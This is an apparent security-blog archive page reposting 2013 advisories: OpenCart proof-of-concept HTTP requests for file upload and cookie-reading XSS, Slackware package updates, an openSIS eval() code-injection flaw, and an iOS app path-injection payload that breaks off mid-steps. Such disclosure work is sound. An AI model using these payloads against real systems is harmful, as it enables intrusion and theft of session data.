A Little Piece of n00b: ExploitCyber World Archive

Exclusive Updates from 'The Hacker News'

Exclusive Updates from 'The Hacker News'

304% Return on Investment with SilverSky Network Security Solutions In November 2012, SilverSky ...

Opencart Multiple Vulnerabilities

###########################################################################
 # Title: Opencart Multiple Vulnerabilities
 # Vendor: <a href="http://www.opencart.com">http://www.opencart.com</a>
 # Vulnerabilities: Arbitrary File Upload, XSS, Path Disclosure
 # Vulnerable Version: opencart 1.5.6 (prior versions also may be affected)
 # Exploitation: Remote with browser
 # Impact: High
 # Vendor Supplied Patch: N/A
 # Original Advisory with Workaround: 
 # <a href="http://www.garda.ir/Opencart_Multiple_Vulnerabilities.html">http://www.garda.ir/Opencart_Multiple_Vulnerabilities.html</a>
 ###########################################################################
 
 ####################
 - Description:
 ####################
 
 Quote from vendor: OpenCart is a turn-key ready "out of the box" shopping cart solution.
 You simply install, select your template, add products and you're ready to start accepting orders.
 
 
 ####################
 - Vulnerability:
 ####################
 In the process of optimizing our crawler engine by <a href="http://garda.ir">garda.ir</a> (<a href="http://garda.ir">garda.ir</a> is a Persian online shopping price comparison service which uses new search engine technologies to grab prices) we found file upload vulnerability in opencart application, further investigation lead us to discover other vulnerabilities such as path disclosure and xss.
 
 
 
 ####################
 - POC:
 ####################
 
 # 1
 # File Upload
 # Insufficient Authorization in /catalog/controller/product/product.php 
 # Result: testupload.txt.somehash is created in /download folder
 
 
 POST /opencart-1.5.6/index.php?route=product/product/upload HTTP/1.1
 Host: <a href="http://example.com">example.com</a>
 Content-Type: multipart/form-data; boundary=---------------------------4827543632391
 Content-Length: 206
 Connection: Keep-Alive
 
 
 -----------------------------4827543632391
 Content-Disposition: form-data; name="file"; filename="testupload.txt"
 Content-Type: text/plain
 
 testtesttest
 -----------------------------4827543632391--
 
 
 # 2
 # Reflected XSS and Path Disclosure
 # Input Validation Error in /catalog/controller/account/register.php
 # Result: this will cause arbitrary scripting code to be executed by the # target user's browser.
 
 POST /opencart-1.5.6/index.php?route=account/register HTTP/1.1
 Content-Type: multipart/form-data; boundary=---------------------------1e7a98bc645efbe7
 Content-Length: 181
 Host: <a href="http://example.com">example.com</a>
 Connection: Keep-Alive
 
 
 -----------------------------1e7a98bc645efbe7
 Content-Disposition: form-data; name="zone_id"
 
 12345'+alert(document.cookie)+'
 -----------------------------1e7a98bc645efbe7--
 
 
 # 3
 # Information Leakage – Path Disclosure
 # Insufficient Authorization in /system/logs/error.txt 
 # Result: Information Disclosure
 
 <a href="http://www.example.com/opencart-1.5.6/system/logs/error.txt">http://www.example.com/opencart-1.5.6/system/logs/error.txt</a>
 
 
 ####################
 - Solution:
 ####################
 There is no Vendor Supplied Patch at the time of this entry.
 For workaround check the Original Advisory.
 
 
 ####################
 - Credit:
 ####################
 Discovered by: trueend5 (trueend5 [at] yahoo com)
 
 This advisory is sponsored by <a href="http://garda.ir">garda.ir</a>
 <a href="http://www.garda.ir">http://www.garda.ir</a>
 A Persian online shopping price comparison service

Opencart Multiple Vulnerabilities

########################################################################### # Title: Opencart Multiple Vulnerabilities # Vendor: http://ww...

[slackware-security] hplip (SSA:2013-339-04)

-----BEGIN PGP SIGNED MESSAGE-----
 Hash: SHA1
 
 [slackware-security] hplip (SSA:2013-339-04)
 
 New hplip packages are available for Slackware 14.0 to fix a security issue.
 
 
 Here are the details from the Slackware 14.0 ChangeLog:
 +--------------------------+
 patches/packages/hplip-3.12.9-i486-4_slack14.0.txz: Rebuilt.
 This update disables the automatic upgrade feature which can be easily
 fooled into downloading an arbitrary binary and executing it. This
 issue affects only Slackware 14.0 (earlier versions do not have the
 feature, and newer ones had already disabled it).
 For more information, see:
 <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-6427">http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-6427</a>
 (* Security fix *)
 +--------------------------+
 
 
 Where to find the new packages:
 +-----------------------------+
 
 Thanks to the friendly folks at the OSU Open Source Lab
 (<a href="http://osuosl.org">http://osuosl.org</a>) for donating FTP and rsync hosting
 to the Slackware project! :-)
 
 Also see the "Get Slack" section on <a href="http://slackware.com">http://slackware.com</a> for
 additional mirror sites near you.
 
 Updated package for Slackware 14.0:
 <a href="ftp://ftp.slackware.com/pub/slackware/slackware-14.0/patches/packages/hplip-3.12.9-i486-4_slack14.0.txz">ftp://ftp.slackware.com/pub/slackware/slackware-14.0/patches/packages/hplip-3.12.9-i486-4_slack14.0.txz</a>
 
 Updated package for Slackware x86_64 14.0:
 <a href="ftp://ftp.slackware.com/pub/slackware/slackware64-14.0/patches/packages/hplip-3.12.9-x86_64-4_slack14.0.txz">ftp://ftp.slackware.com/pub/slackware/slackware64-14.0/patches/packages/hplip-3.12.9-x86_64-4_slack14.0.txz</a>
 
 
 MD5 signatures:
 +-------------+
 
 Slackware 14.0 package:
 6838bc89361bf4dd0011ad4d46b98bf0 hplip-3.12.9-i486-4_slack14.0.txz
 
 Slackware x86_64 14.0 package:
 a5193660b2318e29aa5586ead1feb126 hplip-3.12.9-x86_64-4_slack14.0.txz
 
 
 Installation instructions:
 +------------------------+
 
 Upgrade the package as root:
 # upgradepkg hplip-3.12.9-i486-4_slack14.0.txz
 
 
 +-----+
 
 Slackware Linux Security Team
 <a href="http://slackware.com/gpg-key">http://slackware.com/gpg-key</a>
 <a href="mailto:security@slackware.com">security@slackware.com</a>
 
 +------------------------------------------------------------------------+
 | To leave the slackware-security mailing list: |
 +------------------------------------------------------------------------+
 | Send an email to <a href="mailto:majordomo@slackware.com">majordomo@slackware.com</a> with this text in the body of |
 | the email message: |
 | |
 | unsubscribe slackware-security |
 | |
 | You will get a confirmation message back containing instructions to |
 | complete the process. Please do not reply to this email address. |
 +------------------------------------------------------------------------+
 -----BEGIN PGP SIGNATURE-----
 Version: GnuPG v1.4.15 (GNU/Linux)
 
 iEYEARECAAYFAlKhGLEACgkQakRjwEAQIjOXJACeII9YkNxj5hCdV8IsolOSPAyY
 oacAn0ha/+Utsg/q+1av9T7vJ770HDJS
 =3mBc
 -----END PGP SIGNATURE-----

[slackware-security] hplip (SSA:2013-339-04)

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 [slackware-security] hplip (SSA:2013-339-04) New hplip packages are available for Slac...

[slackware-security] seamonkey (SSA:2013-339-03)

-----BEGIN PGP SIGNED MESSAGE-----
 Hash: SHA1
 
 [slackware-security] seamonkey (SSA:2013-339-03)
 
 New seamonkey packages are available for Slackware 14.0, 14.1, and -current to
 fix security issues.
 
 
 Here are the details from the Slackware 14.1 ChangeLog:
 +--------------------------+
 patches/packages/seamonkey-2.22.1-i486-1_slack14.1.txz: Upgraded.
 This update contains security fixes and improvements.
 For more information, see:
 <a href="http://www.mozilla.org/security/known-vulnerabilities/seamonkey.html">http://www.mozilla.org/security/known-vulnerabilities/seamonkey.html</a>
 (* Security fix *)
 patches/packages/seamonkey-solibs-2.22.1-i486-1_slack14.1.txz: Upgraded.
 +--------------------------+
 
 
 Where to find the new packages:
 +-----------------------------+
 
 Thanks to the friendly folks at the OSU Open Source Lab
 (<a href="http://osuosl.org">http://osuosl.org</a>) for donating FTP and rsync hosting
 to the Slackware project! :-)
 
 Also see the "Get Slack" section on <a href="http://slackware.com">http://slackware.com</a> for
 additional mirror sites near you.
 
 Updated packages for Slackware 14.0:
 <a href="ftp://ftp.slackware.com/pub/slackware/slackware-14.0/patches/packages/seamonkey-2.22.1-i486-1_slack14.0.txz">ftp://ftp.slackware.com/pub/slackware/slackware-14.0/patches/packages/seamonkey-2.22.1-i486-1_slack14.0.txz</a>
 <a href="ftp://ftp.slackware.com/pub/slackware/slackware-14.0/patches/packages/seamonkey-solibs-2.22.1-i486-1_slack14.0.txz">ftp://ftp.slackware.com/pub/slackware/slackware-14.0/patches/packages/seamonkey-solibs-2.22.1-i486-1_slack14.0.txz</a>
 
 Updated packages for Slackware x86_64 14.0:
 <a href="ftp://ftp.slackware.com/pub/slackware/slackware64-14.0/patches/packages/seamonkey-2.22.1-x86_64-1_slack14.0.txz">ftp://ftp.slackware.com/pub/slackware/slackware64-14.0/patches/packages/seamonkey-2.22.1-x86_64-1_slack14.0.txz</a>
 <a href="ftp://ftp.slackware.com/pub/slackware/slackware64-14.0/patches/packages/seamonkey-solibs-2.22.1-x86_64-1_slack14.0.txz">ftp://ftp.slackware.com/pub/slackware/slackware64-14.0/patches/packages/seamonkey-solibs-2.22.1-x86_64-1_slack14.0.txz</a>
 
 Updated packages for Slackware 14.1:
 <a href="ftp://ftp.slackware.com/pub/slackware/slackware-14.1/patches/packages/seamonkey-2.22.1-i486-1_slack14.1.txz">ftp://ftp.slackware.com/pub/slackware/slackware-14.1/patches/packages/seamonkey-2.22.1-i486-1_slack14.1.txz</a>
 <a href="ftp://ftp.slackware.com/pub/slackware/slackware-14.1/patches/packages/seamonkey-solibs-2.22.1-i486-1_slack14.1.txz">ftp://ftp.slackware.com/pub/slackware/slackware-14.1/patches/packages/seamonkey-solibs-2.22.1-i486-1_slack14.1.txz</a>
 
 Updated packages for Slackware x86_64 14.1:
 <a href="ftp://ftp.slackware.com/pub/slackware/slackware64-14.1/patches/packages/seamonkey-2.22.1-x86_64-1_slack14.1.txz">ftp://ftp.slackware.com/pub/slackware/slackware64-14.1/patches/packages/seamonkey-2.22.1-x86_64-1_slack14.1.txz</a>
 <a href="ftp://ftp.slackware.com/pub/slackware/slackware64-14.1/patches/packages/seamonkey-solibs-2.22.1-x86_64-1_slack14.1.txz">ftp://ftp.slackware.com/pub/slackware/slackware64-14.1/patches/packages/seamonkey-solibs-2.22.1-x86_64-1_slack14.1.txz</a>
 
 Updated packages for Slackware -current:
 <a href="ftp://ftp.slackware.com/pub/slackware/slackware-current/slackware/l/seamonkey-solibs-2.22.1-i486-1.txz">ftp://ftp.slackware.com/pub/slackware/slackware-current/slackware/l/seamonkey-solibs-2.22.1-i486-1.txz</a>
 <a href="ftp://ftp.slackware.com/pub/slackware/slackware-current/slackware/xap/seamonkey-2.22.1-i486-1.txz">ftp://ftp.slackware.com/pub/slackware/slackware-current/slackware/xap/seamonkey-2.22.1-i486-1.txz</a>
 
 Updated packages for Slackware x86_64 -current:
 <a href="ftp://ftp.slackware.com/pub/slackware/slackware64-current/slackware64/l/seamonkey-solibs-2.22.1-x86_64-1.txz">ftp://ftp.slackware.com/pub/slackware/slackware64-current/slackware64/l/seamonkey-solibs-2.22.1-x86_64-1.txz</a>
 <a href="ftp://ftp.slackware.com/pub/slackware/slackware64-current/slackware64/xap/seamonkey-2.22.1-x86_64-1.txz">ftp://ftp.slackware.com/pub/slackware/slackware64-current/slackware64/xap/seamonkey-2.22.1-x86_64-1.txz</a>
 
 
 MD5 signatures:
 +-------------+
 
 Slackware 14.0 packages:
 b315acb9ea10513ff46123c075f82820 seamonkey-2.22.1-i486-1_slack14.0.txz
 a53c11c7ab826f27815e89d1ae39f368 seamonkey-solibs-2.22.1-i486-1_slack14.0.txz
 
 Slackware x86_64 14.0 packages:
 97ee71cc5f91efd556ad29baa4695bb2 seamonkey-2.22.1-x86_64-1_slack14.0.txz
 7eaab4ea075b79f0b67894e5b8fc8782 seamonkey-solibs-2.22.1-x86_64-1_slack14.0.txz
 
 Slackware 14.1 packages:
 9d2fddecd536ed84b76c7b134c440d77 seamonkey-2.22.1-i486-1_slack14.1.txz
 50cb6c7e926a98552837e51294906d63 seamonkey-solibs-2.22.1-i486-1_slack14.1.txz
 
 Slackware x86_64 14.1 packages:
 f40c8b4207c4e4d2a521cc4cc0b17722 seamonkey-2.22.1-x86_64-1_slack14.1.txz
 9e155f4b9a9f241030436926970002ca seamonkey-solibs-2.22.1-x86_64-1_slack14.1.txz
 
 Slackware -current packages:
 b42a26ca28c58839abed995ad9962415 l/seamonkey-solibs-2.22.1-i486-1.txz
 e1cab57251ca72b8cf82d6749959a1ea xap/seamonkey-2.22.1-i486-1.txz
 
 Slackware x86_64 -current packages:
 7146b57158804ae43e644da69f3ca18a l/seamonkey-solibs-2.22.1-x86_64-1.txz
 153ebf91193138b897b66b581b6c57c1 xap/seamonkey-2.22.1-x86_64-1.txz
 
 
 Installation instructions:
 +------------------------+
 
 Upgrade the packages as root:
 # upgradepkg seamonkey-2.22.1-i486-1_slack14.1.txz seamonkey-solibs-2.22.1-i486-1_slack14.1.txz
 
 
 +-----+
 
 Slackware Linux Security Team
 <a href="http://slackware.com/gpg-key">http://slackware.com/gpg-key</a>
 <a href="mailto:security@slackware.com">security@slackware.com</a>
 
 +------------------------------------------------------------------------+
 | To leave the slackware-security mailing list: |
 +------------------------------------------------------------------------+
 | Send an email to <a href="mailto:majordomo@slackware.com">majordomo@slackware.com</a> with this text in the body of |
 | the email message: |
 | |
 | unsubscribe slackware-security |
 | |
 | You will get a confirmation message back containing instructions to |
 | complete the process. Please do not reply to this email address. |
 +------------------------------------------------------------------------+
 -----BEGIN PGP SIGNATURE-----
 Version: GnuPG v1.4.15 (GNU/Linux)
 
 iEYEARECAAYFAlKhGK4ACgkQakRjwEAQIjOKNwCeM22go773N6aGqZPgjMaSc0xi
 DpQAn2NsPT3B1PK2svYl9qAHmggSQkkD
 =lQct
 -----END PGP SIGNATURE-----

[slackware-security] seamonkey (SSA:2013-339-03)

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 [slackware-security] seamonkey (SSA:2013-339-03) New seamonkey packages are available ...

[slackware-security] mozilla-thunderbird (SSA:2013-339-02)

-----BEGIN PGP SIGNED MESSAGE-----
 Hash: SHA1
 
 [slackware-security] mozilla-thunderbird (SSA:2013-339-02)
 
 New mozilla-thunderbird packages are available for Slackware 13.37, 14.0, 14.1,
 and -current to fix security issues.
 
 
 Here are the details from the Slackware 14.1 ChangeLog:
 +--------------------------+
 patches/packages/mozilla-thunderbird-24.1.1-i486-1_slack14.1.txz: Upgraded.
 This release contains security fixes and improvements.
 For more information, see:
 <a href="http://www.mozilla.org/security/known-vulnerabilities/thunderbird.html">http://www.mozilla.org/security/known-vulnerabilities/thunderbird.html</a>
 (* Security fix *)
 +--------------------------+
 
 
 Where to find the new packages:
 +-----------------------------+
 
 Thanks to the friendly folks at the OSU Open Source Lab
 (<a href="http://osuosl.org">http://osuosl.org</a>) for donating FTP and rsync hosting
 to the Slackware project! :-)
 
 Also see the "Get Slack" section on <a href="http://slackware.com">http://slackware.com</a> for
 additional mirror sites near you.
 
 Updated package for Slackware 13.37:
 <a href="ftp://ftp.slackware.com/pub/slackware/slackware-13.37/patches/packages/mozilla-thunderbird-17.0.11esr-i486-1_slack13.37.txz">ftp://ftp.slackware.com/pub/slackware/slackware-13.37/patches/packages/mozilla-thunderbird-17.0.11esr-i486-1_slack13.37.txz</a>
 
 Updated package for Slackware x86_64 13.37:
 <a href="ftp://ftp.slackware.com/pub/slackware/slackware64-13.37/patches/packages/mozilla-thunderbird-17.0.11esr-x86_64-1_slack13.37.txz">ftp://ftp.slackware.com/pub/slackware/slackware64-13.37/patches/packages/mozilla-thunderbird-17.0.11esr-x86_64-1_slack13.37.txz</a>
 
 Updated package for Slackware 14.0:
 <a href="ftp://ftp.slackware.com/pub/slackware/slackware-14.0/patches/packages/mozilla-thunderbird-17.0.11esr-i486-1_slack14.0.txz">ftp://ftp.slackware.com/pub/slackware/slackware-14.0/patches/packages/mozilla-thunderbird-17.0.11esr-i486-1_slack14.0.txz</a>
 
 Updated package for Slackware x86_64 14.0:
 <a href="ftp://ftp.slackware.com/pub/slackware/slackware64-14.0/patches/packages/mozilla-thunderbird-17.0.11esr-x86_64-1_slack14.0.txz">ftp://ftp.slackware.com/pub/slackware/slackware64-14.0/patches/packages/mozilla-thunderbird-17.0.11esr-x86_64-1_slack14.0.txz</a>
 
 Updated package for Slackware 14.1:
 <a href="ftp://ftp.slackware.com/pub/slackware/slackware-14.1/patches/packages/mozilla-thunderbird-24.1.1-i486-1_slack14.1.txz">ftp://ftp.slackware.com/pub/slackware/slackware-14.1/patches/packages/mozilla-thunderbird-24.1.1-i486-1_slack14.1.txz</a>
 
 Updated package for Slackware x86_64 14.1:
 <a href="ftp://ftp.slackware.com/pub/slackware/slackware64-14.1/patches/packages/mozilla-thunderbird-24.1.1-x86_64-1_slack14.1.txz">ftp://ftp.slackware.com/pub/slackware/slackware64-14.1/patches/packages/mozilla-thunderbird-24.1.1-x86_64-1_slack14.1.txz</a>
 
 Updated package for Slackware -current:
 <a href="ftp://ftp.slackware.com/pub/slackware/slackware-current/slackware/xap/mozilla-thunderbird-24.1.1-i486-1.txz">ftp://ftp.slackware.com/pub/slackware/slackware-current/slackware/xap/mozilla-thunderbird-24.1.1-i486-1.txz</a>
 
 Updated package for Slackware x86_64 -current:
 <a href="ftp://ftp.slackware.com/pub/slackware/slackware64-current/slackware64/xap/mozilla-thunderbird-24.1.1-x86_64-1.txz">ftp://ftp.slackware.com/pub/slackware/slackware64-current/slackware64/xap/mozilla-thunderbird-24.1.1-x86_64-1.txz</a>
 
 
 MD5 signatures:
 +-------------+
 
 Slackware 13.37 package:
 4c7fe2a313a7b98c8a33f1c6d0c953ad mozilla-thunderbird-17.0.11esr-i486-1_slack13.37.txz
 
 Slackware x86_64 13.37 package:
 1f33fbe3e18e0fbaf1190569fb9f8b9e mozilla-thunderbird-17.0.11esr-x86_64-1_slack13.37.txz
 
 Slackware 14.0 package:
 8c2c55219d568e4cff9eda91b883f658 mozilla-thunderbird-17.0.11esr-i486-1_slack14.0.txz
 
 Slackware x86_64 14.0 package:
 b254f06d541562be63511312118400a4 mozilla-thunderbird-17.0.11esr-x86_64-1_slack14.0.txz
 
 Slackware 14.1 package:
 50fbdd06e503a5220e130927ae0e9171 mozilla-thunderbird-24.1.1-i486-1_slack14.1.txz
 
 Slackware x86_64 14.1 package:
 eb7196ac604d9fba90b8f71bc29ae0f9 mozilla-thunderbird-24.1.1-x86_64-1_slack14.1.txz
 
 Slackware -current package:
 4d2efed242da82ead7a3c19d19000aaa xap/mozilla-thunderbird-24.1.1-i486-1.txz
 
 Slackware x86_64 -current package:
 7c40c6f86cec219dee61370fb1bfe007 xap/mozilla-thunderbird-24.1.1-x86_64-1.txz
 
 
 Installation instructions:
 +------------------------+
 
 Upgrade the package as root:
 # upgradepkg mozilla-thunderbird-24.1.1-i486-1_slack14.1.txz
 
 
 +-----+
 
 Slackware Linux Security Team
 <a href="http://slackware.com/gpg-key">http://slackware.com/gpg-key</a>
 <a href="mailto:security@slackware.com">security@slackware.com</a>
 
 +------------------------------------------------------------------------+
 | To leave the slackware-security mailing list: |
 +------------------------------------------------------------------------+
 | Send an email to <a href="mailto:majordomo@slackware.com">majordomo@slackware.com</a> with this text in the body of |
 | the email message: |
 | |
 | unsubscribe slackware-security |
 | |
 | You will get a confirmation message back containing instructions to |
 | complete the process. Please do not reply to this email address. |
 +------------------------------------------------------------------------+
 -----BEGIN PGP SIGNATURE-----
 Version: GnuPG v1.4.15 (GNU/Linux)
 
 iEYEARECAAYFAlKhGKwACgkQakRjwEAQIjPqqwCfbBsfXUQLQyE20YRaXGx+Dr9+
 JuwAoIP/KrWPV1sUiBvmC1ReMcMIbBWm
 =o4//
 -----END PGP SIGNATURE-----

[slackware-security] mozilla-thunderbird (SSA:2013-339-02)

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 [slackware-security] mozilla-thunderbird (SSA:2013-339-02) New mozilla-thunderbird pac...

[slackware-security] mozilla-nss (SSA:2013-339-01)

-----BEGIN PGP SIGNED MESSAGE-----
 Hash: SHA1
 
 [slackware-security] mozilla-nss (SSA:2013-339-01)
 
 New mozilla-nss packages are available for Slackware 14.0, 14.1, and -current
 to fix security issues.
 
 
 Here are the details from the Slackware 14.1 ChangeLog:
 +--------------------------+
 patches/packages/mozilla-nss-3.15.3-i486-1_slack14.1.txz: Upgraded.
 This update contains security fixes and improvements.
 For more information, see:
 <a href="http://www.mozilla.org/security/announce/2013/mfsa2013-103.html">http://www.mozilla.org/security/announce/2013/mfsa2013-103.html</a>
 (* Security fix *)
 +--------------------------+
 
 
 Where to find the new packages:
 +-----------------------------+
 
 Thanks to the friendly folks at the OSU Open Source Lab
 (<a href="http://osuosl.org">http://osuosl.org</a>) for donating FTP and rsync hosting
 to the Slackware project! :-)
 
 Also see the "Get Slack" section on <a href="http://slackware.com">http://slackware.com</a> for
 additional mirror sites near you.
 
 Updated package for Slackware 14.0:
 <a href="ftp://ftp.slackware.com/pub/slackware/slackware-14.0/patches/packages/mozilla-nss-3.15.3-i486-1_slack14.0.txz">ftp://ftp.slackware.com/pub/slackware/slackware-14.0/patches/packages/mozilla-nss-3.15.3-i486-1_slack14.0.txz</a>
 
 Updated package for Slackware x86_64 14.0:
 <a href="ftp://ftp.slackware.com/pub/slackware/slackware64-14.0/patches/packages/mozilla-nss-3.15.3-x86_64-1_slack14.0.txz">ftp://ftp.slackware.com/pub/slackware/slackware64-14.0/patches/packages/mozilla-nss-3.15.3-x86_64-1_slack14.0.txz</a>
 
 Updated package for Slackware 14.1:
 <a href="ftp://ftp.slackware.com/pub/slackware/slackware-14.1/patches/packages/mozilla-nss-3.15.3-i486-1_slack14.1.txz">ftp://ftp.slackware.com/pub/slackware/slackware-14.1/patches/packages/mozilla-nss-3.15.3-i486-1_slack14.1.txz</a>
 
 Updated package for Slackware x86_64 14.1:
 <a href="ftp://ftp.slackware.com/pub/slackware/slackware64-14.1/patches/packages/mozilla-nss-3.15.3-x86_64-1_slack14.1.txz">ftp://ftp.slackware.com/pub/slackware/slackware64-14.1/patches/packages/mozilla-nss-3.15.3-x86_64-1_slack14.1.txz</a>
 
 Updated package for Slackware -current:
 <a href="ftp://ftp.slackware.com/pub/slackware/slackware-current/slackware/l/mozilla-nss-3.15.3-i486-1.txz">ftp://ftp.slackware.com/pub/slackware/slackware-current/slackware/l/mozilla-nss-3.15.3-i486-1.txz</a>
 
 Updated package for Slackware x86_64 -current:
 <a href="ftp://ftp.slackware.com/pub/slackware/slackware64-current/slackware64/l/mozilla-nss-3.15.3-x86_64-1.txz">ftp://ftp.slackware.com/pub/slackware/slackware64-current/slackware64/l/mozilla-nss-3.15.3-x86_64-1.txz</a>
 
 
 MD5 signatures:
 +-------------+
 
 Slackware 14.0 package:
 c5d7e5b5b46bedae785d22d0247d70ad mozilla-nss-3.15.3-i486-1_slack14.0.txz
 
 Slackware x86_64 14.0 package:
 f29e0973d99829c08038193b65b5b4b3 mozilla-nss-3.15.3-x86_64-1_slack14.0.txz
 
 Slackware 14.1 package:
 9f95b21dc109db67f8e7906521bab61b mozilla-nss-3.15.3-i486-1_slack14.1.txz
 
 Slackware x86_64 14.1 package:
 9f853af467fe81e70bf820677b45c4ad mozilla-nss-3.15.3-x86_64-1_slack14.1.txz
 
 Slackware -current package:
 e90376f0a0b99c8924ddb39d27775e8c l/mozilla-nss-3.15.3-i486-1.txz
 
 Slackware x86_64 -current package:
 95bfee53e035ae57557e150788b83290 l/mozilla-nss-3.15.3-x86_64-1.txz
 
 
 Installation instructions:
 +------------------------+
 
 Upgrade the package as root:
 # upgradepkg mozilla-nss-3.15.3-i486-1_slack14.1.txz
 
 
 +-----+
 
 Slackware Linux Security Team
 <a href="http://slackware.com/gpg-key">http://slackware.com/gpg-key</a>
 <a href="mailto:security@slackware.com">security@slackware.com</a>
 
 +------------------------------------------------------------------------+
 | To leave the slackware-security mailing list: |
 +------------------------------------------------------------------------+
 | Send an email to <a href="mailto:majordomo@slackware.com">majordomo@slackware.com</a> with this text in the body of |
 | the email message: |
 | |
 | unsubscribe slackware-security |
 | |
 | You will get a confirmation message back containing instructions to |
 | complete the process. Please do not reply to this email address. |
 +------------------------------------------------------------------------+
 -----BEGIN PGP SIGNATURE-----
 Version: GnuPG v1.4.15 (GNU/Linux)
 
 iEYEARECAAYFAlKhGKoACgkQakRjwEAQIjMw8QCggSmImM4YAHsr+e8hI0lbJWh3
 XDUAn0SdI1Tq9BYeICGQ4noDkypcGIRm
 =d02G
 -----END PGP SIGNATURE-----

[slackware-security] mozilla-nss (SSA:2013-339-01)

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 [slackware-security] mozilla-nss (SSA:2013-339-01) New mozilla-nss packages are availa...

[KIS-2013-10] openSIS <= 5.2 (ajax.php) PHP Code Injection Vulnerability

----------------------------------------------------------
 openSIS <= 5.2 (ajax.php) PHP Code Injection Vulnerability
 ----------------------------------------------------------
 
 
 [-] Software Link:
 
 <a href="http://www.opensis.com/">http://www.opensis.com/</a>
 
 
 [-] Affected Versions:
 
 All versions from 4.5 to 5.2.
 
 
 [-] Vulnerability Description:
 
 The vulnerable code is located in the /ajax.php script:
 
 86.	if(clean_param($_REQUEST['modname'],PARAM_NOTAGS))
 87.	{
 88.		if($_REQUEST['_openSIS_PDF']=='true')
 89.			ob_start();
 90.		if(strpos($_REQUEST['modname'],'?')!==false)
 91.		{
 92.			$vars = 
 substr($_REQUEST['modname'],(strpos($_REQUEST['modname'],'?')+1));
 93.			$modname = 
 substr($_REQUEST['modname'],0,strpos($_REQUEST['modname'],'?'));
 94.
 95.			$vars = explode('?',$vars);
 96.			foreach($vars as $code)
 97.			{
 98.				$code = 
 decode_unicode_url("\$_REQUEST['".str_replace('=',"']='",$code)."';");
 99.				eval($code);
 100.			}
 101.		}
 
 User input passed through the "modname" request variable is not 
 properly sanitized before being used in
 a call to the eval() function at line 99. This can be exploited to 
 inject and execute arbitrary PHP code.
 
 
 [-] Solution:
 
 As of December 5th, 2013 the only solution is this patch: 
 <a href="http://sourceforge.net/p/opensis-ce/code/1009">http://sourceforge.net/p/opensis-ce/code/1009</a>
 
 
 [-] Disclosure Timeline:
 
 [04/12/2012] - Issue reported to <a href="http://sourceforge.net/p/opensis-ce/bugs/59/[28/12/2012">http://sourceforge.net/p/opensis-ce/bugs/59/
 [28/12/2012</a>] - Vendor contacted, replied that the next version will 
 fix the issue
 [12/01/2013] - CVE number requested
 [14/01/2013] - CVE number assigned
 [26/04/2013] - Version 5.2 released, however the issue isn't fixed yet
 [12/05/2013] - Vendor contacted again
 [15/05/2013] - Issue temporarily fixed in the SVN repository (r1009)
 [04/12/2013] - After one year still no official solution available
 
 
 [-] CVE Reference:
 
 The Common Vulnerabilities and Exposures project (<a href="http://cve.mitre.org">cve.mitre.org</a>)
 has assigned the name CVE-2013-1349 to this vulnerability.
 
 
 [-] Credits:
 
 Vulnerability discovered by Egidio Romano.
 
 
 [-] Original Advisory:
 
 <a href="http://karmainsecurity.com/KIS-2013-10">http://karmainsecurity.com/KIS-2013-10</a>

[KIS-2013-10] openSIS <= 5.2 (ajax.php) PHP Code Injection Vulnerability

---------------------------------------------------------- openSIS <= 5.2 (ajax.php) PHP Code Injection Vulnerability -----------------...

Wireless Transfer App 3.7 iOS - Multiple Web Vulnerabilities

Document Title:
 ===============
 Wireless Transfer App 3.7 iOS - Multiple Web Vulnerabilities
 
 
 References (Source):
 ====================
 <a href="http://www.vulnerability-lab.com/get_content.php?id=1152">http://www.vulnerability-lab.com/get_content.php?id=1152</a>
 
 
 Release Date:
 =============
 2013-12-04
 
 
 Vulnerability Laboratory ID (VL-ID):
 ====================================
 1152
 
 
 Common Vulnerability Scoring System:
 ====================================
 6.7
 
 
 Product & Service Introduction:
 ===============================
 Wireless Transfer App is an easy to use photo and video transfer tool. It helps you easily and quickly transfer photos and videos 
 between iPhone and iPad, as well as transfer photos and videos from computer to iPad/iPhone/iPod and vice verse. With Wireless 
 Transfer App, you can transfer photos and videos from iPad to iPad, from iPad to iPhone, from iPhone to iPad, from iPhone to iPhone, 
 from computer to iPad, from iPhone to computer and more. There is no need for USB cable or extra software. You just need to put your 
 devices under the same Wi-Fi network.
 
 (Copy of the Homepage: <a href="https://itunes.apple.com/en/app/wireless-transfer-app-share/id543119010">https://itunes.apple.com/en/app/wireless-transfer-app-share/id543119010</a> & <a href="http://www.wirelesstransferapp.com/">http://www.wirelesstransferapp.com/</a> )
 
 
 Abstract Advisory Information:
 ==============================
 The Vulnerability Laboratory Research Team discovered multiple command/path inject vulnerabilities in the Wireless Transfer App v3.7 for apple iOS.
 
 
 Vulnerability Disclosure Timeline:
 ==================================
 2012-11-30:	Public Disclosure (Vulnerability Laboratory)
 
 
 Discovery Status:
 =================
 Published
 
 
 Affected Product(s):
 ====================
 Wireless Transfer App COM
 Product: Wireless Transfer App 3.7
 
 
 Exploitation Technique:
 =======================
 Remote
 
 
 Severity Level:
 ===============
 High
 
 
 Technical Details & Description:
 ================================
 A local command/path injection web vulnerability has been discovered in the Wireless Transfer App v3.7 for apple iOS.
 The vulnerability allows to inject local commands via vulnerable system values to compromise the apple mobile iOS application.
 
 The vulnerability is located in the in the album name value of the wireless transfer app index and sub category list module.
 Remote attackers are able to manipulate iOS device - `photo app` (default) album names. The execute of the injected 
 command/path request occurs in the album sub category list and the main album name index list. The security risk of the 
 command/path inject vulnerabilities are estimated as high(-) with a cvss (common vulnerability scoring system) count of 6.7(-).
 
 Exploitation of the command/path inject vulnerability requires a local low privileged iOS device account with restricted access 
 and no direct user interaction. Successful exploitation of the vulnerability results unauthorized execution of system specific 
 commands or unauthorized path requests.
 
 Vulnerable Application(s):
 				[+] Wireless Transfer App v3.7
 
 Vulnerable Parameter(s):
 				[+] album name
 				[+] photoGallery_head - album
 
 Affected Module(s):
 				[+] Index - Album Name List
 				[+] Sub Category - Title Album Name List
 
 
 Proof of Concept (PoC):
 =======================
 The local command inject web vulnerabilities can be exploited by local low privileged device user accounts with low 
 user interaction. For security demonstration or to reproduce the vulnerability follow the information and steps below. 
 
 Manual steps to exploit the vulnerability ...
 
 1. Install the wireless transfer v3.7 iOS mobile application
 2. Open the default Photo app of your iOS device
 3. Include an album with the following payload `">%20<x src=\..\<../var/mobile/Library/[x application path]>` and save it
 4. Switch back to the installed wireless transfer app and start the wifi transfer
